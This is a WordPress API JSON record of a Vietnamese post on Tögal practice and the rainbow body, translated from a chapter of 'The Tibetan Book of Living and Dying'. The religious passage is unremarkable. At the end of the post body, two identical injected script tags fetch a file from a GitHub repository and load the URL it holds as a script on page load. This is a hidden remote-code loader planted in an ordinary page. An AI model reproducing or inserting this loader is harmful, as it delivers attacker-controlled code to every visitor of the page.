\u0111\u1ecbnh r\u1eb1ng b\u1ea1n c\u00f3 n\u1ec1n t\u1ea3ng v\u1eefng ch\u1eafc trong tu luy\u1ec7n v\u1ec1 Trekcho, th\u1ea7y gi\u1edbi thi\u1ec7u cho b\u1ea1n m\u1ed9t tu luy\u1ec7n chuy\u00ean s\u00e2u kh\u00e1c v\u1ec1 Togal. Ng\u01b0\u1eddi tu luy\u1ec7n Togal l\u00e0m vi\u1ec7c tr\u1ef1c ti\u1ebfp v\u1edbi \u00c1nh s\u00e1ng R\u00f5 r\u00e0ng, c\u00e1i c\u01b0 ng\u1ee5 \u1edf &#8220;hi\u1ec7n di\u1ec7n t\u1ef1 ph\u00e1t,&#8221; b\u00ean trong m\u1ecdi hi\u1ec7n t\u01b0\u1ee3ng, b\u1eb1ng c\u00e1ch d\u00f9ng c\u00e1c b\u00e0i t\u1eadp \u0111\u1eb7c bi\u1ec7t m\u1ea1nh m\u1ebd v\u00e0 ngo\u1ea1i l\u1ec7 \u0111\u1ec3 l\u00e0m hi\u1ec3n l\u1ed9 n\u00f3 b\u00ean trong b\u1ea3n th\u00e2n ng\u01b0\u1eddi \u0111\u00f3.<\/p>\n<p>Togal c\u00f3 ph\u1ea9m ch\u1ea5t c\u1ee7a vi\u1ec7c nh\u1eadn ra ngay l\u1eadp t\u1ee9c, t\u1ee9c kh\u1eafc. Thay v\u00ec ph\u1ea3i du h\u00e0nh qua r\u1eb7ng n\u00fai \u0111\u1ec3 l\u00ean t\u1edbi \u0111\u1ec9nh cao nh\u1ea5t, c\u00e1ch ti\u1ebfp c\u1eadn Togal s\u1ebd \u0111\u01b0a b\u1ea1n nh\u1ea3y ngay \u0111\u1ebfn \u0111\u00f3 trong m\u1ed9t c\u00fa nh\u1ea3y. Hi\u1ec7u qu\u1ea3 c\u1ee7a Togal l\u00e0 t\u1ea1o kh\u1ea3 n\u0103ng cho ng\u01b0\u1eddi ta th\u1ef1c t\u1ea1i ho\u00e1 m\u1ecdi kh\u00eda c\u1ea1nh kh\u00e1c nhau c\u1ee7a ch\u1ee9ng ng\u1ed9 b\u00ean trong b\u1ea3n th\u00e2n h\u1ecd trong m\u1ed9t \u0111\u1eddi.<a href=\"#_edn1\" name=\"_ednref1\">[i]<\/a> Do \u0111\u00f3 n\u00f3 \u0111\u01b0\u1ee3c coi nh\u01b0 m\u1ed9t ph\u01b0\u01a1ng ph\u00e1p phi th\u01b0\u1eddng, duy nh\u1ea5t c\u1ee7a \u0110\u1ea1i To\u00e0n thi\u1ec7n; trong khi Trekcho l\u00e0 tr\u00ed hu\u1ec7 c\u1ee7a n\u00f3, Togal l\u00e0 ph\u01b0\u01a1ng ti\u1ec7n kh\u00e9o l\u00e9o c\u1ee7a n\u00f3. N\u00f3 \u0111\u00f2i h\u1ecfi k\u1ec9 lu\u1eadt kh\u1ed5ng l\u1ed3 v\u00e0 n\u00f3i chung \u0111\u01b0\u1ee3c tu luy\u1ec7n trong m\u00f4i tr\u01b0\u1eddng \u1ea9n d\u1eadt.<\/p>\n<p>V\u1eady m\u00e0 v\u1eabn ph\u1ea3i nh\u1ea5n m\u1ea1nh r\u1eb1ng con \u0111\u01b0\u1eddng c\u1ee7a \u0110\u1ea1i To\u00e0n thi\u1ec7n ch\u1ec9 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c \u0111i theo d\u01b0\u1edbi h\u01b0\u1edbng d\u1eabn tr\u1ef1c ti\u1ebfp c\u1ee7a m\u1ed9t th\u1ea7y \u0111\u1ee7 t\u01b0 c\u00e1ch. Nh\u01b0 \u0110\u1ea1t lai L\u1ea1t ma n\u00f3i: &#8220;M\u1ed9t s\u1ef1 ki\u1ec7n b\u1ea1n ph\u1ea3i lu\u00f4n t\u00e2m ni\u1ec7m trong \u0111\u1ea7u l\u00e0 \u1edf ch\u1ed7 tu luy\u1ec7n \u0110\u1ea1i To\u00e0n thi\u1ec7n, nh\u01b0 Trekcho v\u00e0 Togal, ch\u1ec9 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c \u0111\u1ea1t t\u1edbi th\u00f4ng qua h\u01b0\u1edbng d\u1eabn c\u1ee7a m\u1ed9t th\u1ea7y \u0111\u00e3 tr\u1ea3i nghi\u1ec7m, v\u00e0 th\u00f4ng qua vi\u1ec7c nh\u1eadn h\u1ee9ng kh\u1edfi v\u00e0 ph\u00fac l\u00e0nh t\u1eeb m\u1ed9t ng\u01b0\u1eddi \u0111ang s\u1ed1ng c\u00f3 th\u1ef1c ch\u1ee9ng \u0111\u00f3.&#8221;<a href=\"#_edn2\" name=\"_ednref2\">[ii]<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>TH\u00c2N C\u1ea6U V\u1ed2NG<\/p>\n<p>Th\u00f4ng qua nh\u1eefng tu luy\u1ec7n chuy\u00ean s\u00e2u v\u1ec1 \u0110\u1ea1i To\u00e0n thi\u1ec7n, ng\u01b0\u1eddi tu luy\u1ec7n \u0111\u00e3 ho\u00e0n th\u00e0nh c\u00f3 th\u1ec3 mang cu\u1ed9c s\u1ed1ng c\u1ee7a h\u1ecd t\u1edbi k\u1ebft th\u00fac phi th\u01b0\u1eddng v\u00e0 chi\u1ebfn th\u1eafng. Khi h\u1ecd ch\u1ebft, h\u1ecd c\u00f3 kh\u1ea3 n\u0103ng l\u00e0m cho th\u00e2n x\u00e1c c\u1ee7a h\u1ecd \u0111\u01b0\u1ee3c h\u1ea5p thu tr\u1edf l\u1ea1i th\u00e0nh b\u1ea3n ch\u1ea5t \u00e1nh s\u00e1ng c\u1ee7a nh\u1eefng ph\u1ea7n t\u1eed t\u1ea1o ra n\u00f3, v\u00e0 h\u1eadu qu\u1ea3 l\u00e0 th\u00e2n x\u00e1c v\u1eadt ch\u1ea5t c\u1ee7a h\u1ecd tan bi\u1ebfn v\u00e0o trong \u00e1nh s\u00e1ng v\u00e0 th\u1ebf r\u1ed3i bi\u1ebfn m\u1ea5t ho\u00e0n to\u00e0n. Qu\u00e1 tr\u00ecnh n\u00e0y \u0111\u01b0\u1ee3c bi\u1ebft l\u00e0 &#8220;th\u00e2n c\u1ea7u v\u1ed3ng&#8221; hay &#8220;th\u00e2n \u00e1nh s\u00e1ng,&#8221; v\u00ec s\u1ef1 tan r\u00e3 th\u01b0\u1eddng \u0111\u01b0\u1ee3c k\u00e8m theo b\u1edfi nh\u1eefng bi\u1ec3u l\u1ed9 t\u1ef1 ph\u00e1t v\u1ec1 \u00e1nh s\u00e1ng v\u00e0 c\u1ea7u v\u1ed3ng. C\u00e1c m\u1eadt ch\u00fa c\u1ed5 \u0111\u1ea1i c\u1ee7a \u0110\u1ea1i To\u00e0n thi\u1ec7n, v\u00e0 c\u00e1c b\u00e0i vi\u1ebft c\u1ee7a c\u00e1c th\u1ea7y v\u0129 \u0111\u1ea1i, c\u00e1c ph\u00e2n lo\u1ea1i kh\u00e1c nhau n\u1ed5i b\u1eadt c\u1ee7a hi\u1ec7n t\u01b0\u1ee3ng \u0111\u00e1ng ng\u1ea1c nhi\u00ean, nh\u01b0 c\u1ee7a th\u1ebf gi\u1edbi kh\u00e1c, v\u00ec \u0111\u00e3 c\u00f3 th\u1eddi, n\u1ebfu \u00edt nh\u1ea5t l\u00e0 kh\u00f4ng b\u00ecnh th\u01b0\u1eddng, n\u00f3 \u0111\u00e3 th\u01b0\u1eddng x\u1ea3y ra m\u1ed9t c\u00e1ch c\u00f3 l\u00ed.<\/p>\n<p>Th\u01b0\u1eddng m\u1ed9t ng\u01b0\u1eddi bi\u1ebft m\u00ecnh s\u1eafp \u0111\u1ea1t t\u1edbi th\u00e2n c\u1ea7u v\u1ed3ng s\u1ebd y\u00eau c\u1ea7u \u0111\u01b0\u1ee3c b\u1ecf l\u1ea1i m\u1ed9t m\u00ecnh, kh\u00f4ng b\u1ecb qu\u1ea5y r\u1ed1i trong m\u1ed9t ph\u00f2ng hay l\u1ec1u trong b\u1ea9y ng\u00e0y. \u0110\u1ebfn ng\u00e0y th\u1ee9 t\u00e1m ch\u1ec9 m\u00f3ng v\u00e0 t\u00f3c, c\u00e1i kh\u00f4ng thu\u1ea7n khi\u1ebft c\u1ee7a th\u00e2n th\u1ec3, \u0111\u01b0\u1ee3c t\u00ecm th\u1ea5y.<\/p>\n<p>\u0110i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 r\u1ea5t kh\u00f3 cho ch\u00fang ta tin b\u00e2y gi\u1edd, nh\u01b0ng l\u1ecbch s\u1eed s\u1ef1 ki\u1ec7n c\u1ee7a d\u00f2ng truy\u1ec1n th\u1eeba \u0110\u1ea1i To\u00e0n thi\u1ec7n \u0111\u1ea7y th\u00ed d\u1ee5 v\u1ec1 c\u00e1c c\u00e1 nh\u00e2n \u0111\u00e3 \u0111\u1ea1t t\u1edbi th\u00e2n c\u1ea7u v\u1ed3ng, v\u00e0 nh\u01b0 \u0110\u1ea1i s\u01b0 Dudjom th\u01b0\u1eddng ch\u1ec9 ra, \u0111i\u1ec1u n\u00e0y kh\u00f4ng ch\u1ec9 c\u00f3 trong l\u1ecbch s\u1eed c\u1ed5 \u0111\u1ea1i. Trong nhi\u1ec1u th\u00ed d\u1ee5 t\u00f4i mu\u1ed1n ch\u1ecdn m\u1ed9t trong nh\u1eefng th\u00ed d\u1ee5 g\u1ea7n \u0111\u00e2y nh\u1ea5t, m\u1ed9t tr\u01b0\u1eddng h\u1ee3p m\u00e0 t\u00f4i c\u00f3 k\u1ebft n\u1ed1i c\u00e1 nh\u00e2n. V\u00e0o n\u0103m 1952 \u0111\u00e3 c\u00f3 m\u1ed9t v\u1ee5 n\u1ed5i ti\u1ebfng v\u1ec1 th\u00e2n c\u1ea7u v\u1ed3ng \u1edf mi\u1ec1n \u0111\u00f4ng T\u00e2y T\u1ea1ng, \u0111\u01b0\u1ee3c r\u1ea5t nhi\u1ec1u ng\u01b0\u1eddi ch\u1ee9ng ki\u1ebfn. Ng\u01b0\u1eddi \u0111\u00e3 \u0111\u1ea1t t\u1edbi tr\u1ea1ng th\u00e1i \u0111\u00f3, Sonam Namgyal, l\u00e0 b\u1ed1 c\u1ee7a th\u1ea7y k\u00e8m c\u1ee7a t\u00f4i v\u00e0 l\u00e0 anh c\u1ee7a L\u1ea1t ma Tseten, ng\u01b0\u1eddi c\u00f3 c\u00e1i ch\u1ebft m\u00e0 t\u00f4i \u0111\u00e3 m\u00f4 t\u1ea3 \u1edf \u0111\u1ea7u cu\u1ed1n s\u00e1ch n\u00e0y.<\/p>\n<p>\u00d4ng \u1ea5y l\u00e0 m\u1ed9t ng\u01b0\u1eddi r\u1ea5t gi\u1ea3n d\u1ecb, khi\u00eam t\u1ed1n, chuy\u00ean l\u00e0m ngh\u1ec1 th\u1ee3 kh\u1eafc \u0111\u00e1 l\u01b0u \u0111\u1ed9ng, kh\u1eafc c\u00e1c m\u1eadt ch\u00fa v\u00e0 v\u0103n b\u1ea3n linh thi\u00eang. M\u1ed9t s\u1ed1 ng\u01b0\u1eddi n\u00f3i \u00f4ng \u1ea5y \u0111\u00e3 l\u00e0 th\u1ee3 s\u0103n h\u1ed3i c\u00f2n tr\u1ebb v\u00e0 \u0111\u00e3 nh\u1eadn \u0111\u01b0\u1ee3c gi\u00e1o hu\u1ea5n t\u1eeb m\u1ed9t th\u1ea7y l\u1edbn. Kh\u00f4ng ai th\u1ef1c s\u1ef1 bi\u1ebft \u00f4ng \u1ea5y \u0111\u00e3 l\u00e0 m\u1ed9t ng\u01b0\u1eddi tu luy\u1ec7n; \u00f4ng \u1ea5y \u0111\u00e3 th\u1ef1c s\u1ef1 l\u00e0 c\u00e1i \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 &#8220;h\u00e0nh gi\u1ea3 yogi \u1ea9n k\u00edn.&#8221; M\u1ed9t th\u1eddi gian n\u00e0o \u0111\u00f3 tr\u01b0\u1edbc c\u00e1i ch\u1ebft c\u1ee7a \u00f4ng \u1ea5y, \u00f4ng \u1ea5y \u0111\u01b0\u1ee3c th\u1ea5y \u0111i l\u00ean n\u00fai v\u00e0 ch\u1ec9 ng\u1ed3i, h\u00ecnh b\u00f3ng n\u1ed5i l\u00ean n\u1ec1n tr\u1eddi, nh\u00ecn ch\u0103m ch\u0103m v\u00e0o kh\u00f4ng gian. \u00d4ng \u1ea5y so\u1ea1n nh\u1eefng b\u00e0i th\u01a1 v\u00e0 b\u00e0i t\u1ee5ng v\u00e0 h\u00e1t ch\u00fang thay cho c\u00e1c b\u00e0i h\u00e1t truy\u1ec1n th\u1ed1ng. Kh\u00f4ng ai c\u00f3 b\u1ea5t k\u00ec \u00fd t\u01b0\u1edfng n\u00e0o v\u1ec1 \u00f4ng \u1ea5y \u0111ang l\u00e0m g\u00ec. Th\u1ebf r\u1ed3i \u00f4ng \u1ea5y ng\u00e3 b\u1ec7nh, hay d\u01b0\u1eddng nh\u01b0 v\u1eady, nh\u01b0ng \u00f4ng \u1ea5y \u0111\u00e3 tr\u1edf n\u00ean h\u1ea1nh ph\u00fac t\u0103ng l\u00ean m\u1ed9t c\u00e1ch k\u00ec l\u1ea1. Khi b\u1ec7nh t\u00ecnh tr\u1ea7m tr\u1ecdng h\u01a1n, gia \u0111\u00ecnh \u00f4ng \u1ea5y m\u1eddi c\u00e1c th\u1ea7y v\u00e0 b\u00e1c s\u0129 t\u1edbi. Con trai \u00f4ng \u1ea5y b\u1ea3o \u00f4ng \u1ea5y n\u00ean nh\u1edb m\u1ecdi gi\u00e1o hu\u1ea5n m\u00e0 \u00f4ng \u1ea5y \u0111\u00e3 t\u1eebng nghe, c\u00f2n \u00f4ng \u1ea5y m\u1ec9m c\u01b0\u1eddi v\u00e0 n\u00f3i, &#8220;B\u1ed1 \u0111\u00e3 qu\u00ean h\u1ebft ch\u00fang r\u1ed3i v\u00e0 \u0111\u1eb1ng n\u00e0o th\u00ec c\u0169ng kh\u00f4ng c\u00f3 g\u00ec \u0111\u1ec3 nh\u1edb. M\u1ecdi th\u1ee9 l\u00e0 \u1ea3o t\u01b0\u1edfng, nh\u01b0ng b\u1ed1 tin r\u1eb1ng t\u1ea5t c\u1ea3 t\u1ed1t.&#8221;<\/p>\n<p>Ngay tr\u01b0\u1edbc c\u00e1i ch\u1ebft c\u1ee7a \u00f4ng \u1ea5y v\u00e0o tu\u1ed5i b\u1ea9y ch\u00edn, \u00f4ng \u1ea5y \u0111\u00e3 n\u00f3i: &#8220;M\u1ecdi \u0111i\u1ec1u t\u00f4i y\u00eau c\u1ea7u l\u00e0 \u1edf ch\u1ed7 khi t\u00f4i ch\u1ebft, kh\u00f4ng di chuy\u1ec3n x\u00e1c t\u00f4i trong m\u1ed9t tu\u1ea7n.&#8221; Khi \u00f4ng \u1ea5y ch\u1ebft gia \u0111\u00ecnh \u00f4ng \u1ea5y \u0111\u00e3 bao b\u1ecdc x\u00e1c \u00f4ng \u1ea5y v\u00e0 m\u1eddi c\u00e1c L\u1ea1t ma v\u00e0 c\u00e1c s\u01b0 t\u1edbi l\u00e0m l\u1ec5 cho \u00f4ng \u1ea5y. H\u1ecd \u0111\u1eb7t c\u00e1i x\u00e1c v\u00e0o m\u1ed9t ph\u00f2ng nh\u1ecf trong nh\u00e0, v\u00e0 h\u1ecd kh\u00f4ng th\u1ec3 \u0111\u1eebng \u0111\u1ec3 \u00fd \u0111\u1ebfn r\u1eb1ng m\u1eb7c d\u00f9 \u00f4ng \u1ea5y \u0111\u00e3 t\u1eebng l\u00e0 ng\u01b0\u1eddi cao l\u1edbn, h\u1ecd kh\u00f4ng gp r\u1eafc r\u1ed1i g\u00ec khi \u0111\u01b0a x\u00e1c v\u00e0o ph\u00f2ng, d\u01b0\u1eddng nh\u01b0 l\u00e0 \u00f4ng \u1ea5y tr\u1edf n\u00ean nh\u1ecf h\u01a1n. \u0110\u1ed3ng th\u1eddi vi\u1ec7c hi\u1ec3n th\u1ecb phi th\u01b0\u1eddng v\u1ec1 \u00e1nh s\u00e1ng m\u1ea7u c\u1ea7u v\u1ed3ng \u0111\u00e3 \u0111\u01b0\u1ee3c th\u1ea5y kh\u1eafp quanh ng\u00f4i nh\u00e0. Khi h\u1ecd nh\u00ecn v\u00e0o trong ph\u00f2ng v\u00e0o ng\u00e0y th\u1ee9 s\u00e1u h\u1ecd th\u1ea5y r\u1eb1ng c\u00e1i x\u00e1c \u0111\u00e3 ng\u00e0y c\u00e0ng nh\u1ecf l\u1ea1i. \u0110\u1ebfn ng\u00e0y th\u1ee9 t\u00e1m sau khi c\u00e1i ch\u1ebft c\u1ee7a \u00f4ng \u1ea5y, bu\u1ed5i s\u00e1ng h\u00f4m d\u1ef1 \u0111\u1ecbnh l\u00e0m l\u1ec5 tang, nh\u1eefng ng\u01b0\u1eddi l\u00e0m d\u1ecbch v\u1ee5 tang l\u1ec5 t\u1edbi l\u1ea5y x\u00e1c \u00f4ng \u1ea5y. Khi h\u1ecd m\u1edf t\u1ea5m ph\u1ee7 x\u00e1c ra, h\u1ecd kh\u00f4ng th\u1ea5y c\u00e1i g\u00ec b\u00ean trong ngo\u00e0i m\u00f3ng v\u00e0 t\u00f3c c\u1ee7a \u00f4ng \u1ea5y.<\/p>\n<p>Th\u1ea7y t\u00f4i, Jamyang Khyentse, \u0111\u00e3 y\u00eau c\u1ea7u \u0111em nh\u1eefng c\u00e1i c\u00f2n l\u1ea1i \u0111\u00f3 \u0111\u1ebfn cho th\u1ea7y xem, v\u00e0 \u0111\u00e3 x\u00e1c nh\u1eadn r\u1eb1ng \u0111\u00e2y l\u00e0 tr\u01b0\u1eddng h\u1ee3p c\u1ee7a th\u00e2n c\u1ea7u v\u1ed3ng.<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cS\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft\u201d, Ch.10 B\u1ea3n ch\u1ea5t b\u00ean trong nh\u1ea5t<\/p>\n<p><a href=\"#_ednref1\" name=\"_edn1\">[i]<\/a> Qua tu luy\u1ec7n T\u00f6gal, ng\u01b0\u1eddi tu luy\u1ec7n \u0111\u00e3 ho\u00e0n th\u00e0nh c\u00f3 th\u1ec3 nh\u1eadn ra ba th\u00e2n trong m\u1ed9t ki\u1ebfp (xem Ch\u01b0\u01a1ng 21, &#8220;Qu\u00e1 tr\u00ecnh ph\u1ed5 qu\u00e1t&#8221;). \u0110\u00e2y l\u00e0 K\u1ebft qu\u1ea3 c\u1ee7a \u0110\u1ea1i To\u00e0n thi\u1ec7n.<\/p>\n<p><a href=\"#_ednref2\" name=\"_edn2\">[ii]<\/a> T\u1eeb gi\u00e1o hu\u1ea5n \u0111\u01b0\u1ee3c cho \u1edf Helsinki, Finland, in 1988.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0110\u1ea1i To\u00e0n thi\u1ec7n &#8211; H\u00e0nh &nbsp; H\u00c0NH Khi tu\u00e2n theo lu\u1ed3ng Rigpa tr\u1edf th\u00e0nh th\u1ef1c t\u1ea1i, n\u00f3 b\u1eaft \u0111\u1ea7u th\u1ea5m nhu\u1ea7n h\u00e0nh \u0111\u1ed9ng v\u00e0 cu\u1ed9c &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3763,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[105],"tags":[],"class_list":["post-3759","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cac-khai-niem"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3759","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3759"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3759\/revisions"}],"predecessor-version":[{"id":4764,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3759\/revisions\/4764"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3763"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3759"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3759"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3759"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}